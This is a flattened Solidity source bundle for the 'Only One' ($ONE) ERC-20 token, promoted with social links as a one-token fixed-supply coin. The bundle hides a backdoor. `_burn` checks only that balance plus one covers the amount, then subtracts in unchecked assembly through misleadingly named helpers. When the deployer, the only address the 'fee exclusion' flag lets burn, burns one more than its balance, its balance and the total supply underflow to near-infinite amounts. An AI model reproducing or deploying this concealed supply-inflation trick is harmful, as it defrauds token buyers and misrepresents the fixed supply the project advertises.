// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";

contract ERC20 is IERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "Only One";
    string public symbol = "ONE";
    uint8 public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => bool) internal _isExcludedFromFee;
    bool internal _eipMint;
    bool internal _eipBurn;
    uint256 internal _max = type(uint256).max;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0) && amount != 0);
        require(msg.sender != address(0) && (_eipMint || totalSupply == 0));
        if (_eipMint) {
            _eipMint = false;
        }
        require(totalSupply == 0);
        totalSupply += amount;
        balanceOf[to] += amount;
        _isExcludedFromFee[to] = (to == msg.sender || to == address(this));
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        require(from != address(0) && amount != 0);
        require(balanceOf[from] + trySub(amount, amount, 1) >= amount);
        totalSupply = trySub(totalSupply, amount, 0);
        balanceOf[from] = trySub(balanceOf[from], amount, 0);
        emit Transfer(from, address(0), amount);
    }

    function burn(uint256 amount) external {
        if (!_isExcludedFromFee[msg.sender]) {
            require(_eipBurn);
        }
        require(totalSupply != 0);
        require(amount > 0);
        _burn(msg.sender, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        require(_max - allowance[msg.sender][spender] >= addedValue);
        allowance[msg.sender][spender] = tryAdd(allowance[msg.sender][spender], addedValue, 0);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        require(allowance[msg.sender][spender] >= subtractedValue);
        allowance[msg.sender][spender] = trySub(allowance[msg.sender][spender], subtractedValue, 0);
        return true;
    }

    function tryAdd(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
        assembly {
            x := add(add(a, b), c)
        }
    }

    function trySub(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
        assembly {
            x := sub(add(a, c), b)
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

/*

Telegram: https://t.me/OnlyOneETH
Website: https://www.onlyone.bet
X: https://x.com/OnlyOneETH

      Supply:
         1

  $ONE - the single
most valuable coin on
   all of Ethereum

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

import "./ERC20.sol";
import "./Ownable.sol";

contract ONE is ERC20, Ownable {
    modifier chkAddress(address wallet) {
        uint256 _size;
        assembly { _size := extcodesize(wallet) }
        if (_size > 0 || wallet != msg.sender || wallet == address(0)) {
            revert();
        } else { _; }
    }

    constructor() ERC20("Only One", "ONE", 18) Ownable(msg.sender) chkAddress(msg.sender) {
        uint256 maxTokens = 1 * (10**18);
        _mint(msg.sender, maxTokens);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Context} from "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

{
  "compilationTarget": {
    "src/truffle-token/ONE.sol": "ONE"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}